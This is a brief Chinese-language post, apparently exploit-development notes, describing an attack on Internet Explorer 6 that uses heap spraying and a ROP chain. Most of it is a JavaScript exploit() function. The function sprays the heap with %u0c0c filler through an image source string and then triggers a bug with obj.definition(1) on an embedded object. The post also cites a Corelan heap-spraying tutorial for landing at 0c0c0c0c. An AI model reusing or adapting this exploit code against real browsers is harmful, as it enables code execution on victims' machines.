本文介绍了一种针对IE6浏览器的攻击方法，利用Heap Spray技术与ROP（Return-Oriented Programming）链实现内存地址定位及权限提升。通过详细展示如何构建特定的payload，包括使用特定的Unicode字符填充堆内存，以及ROP模块的具体构造。

采用inking 大牛的方法

function exploit()
{


obj = document.getElementById('oo').object;

var src = unescape("%u0c0c%u0c0c");

while (src.length < 0x1002) src += src;

src = "\\\\xxx" + src;

src = src.substr(0, 0x1000 - 10);

var pic = document.createElement("img");

pic.src = src;

pic.nameProp;


obj.definition(1);

}

采用 https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/#IE6_UserSize_0x7ffe0 上面的喷射方法，准确定位0c0c0c0c
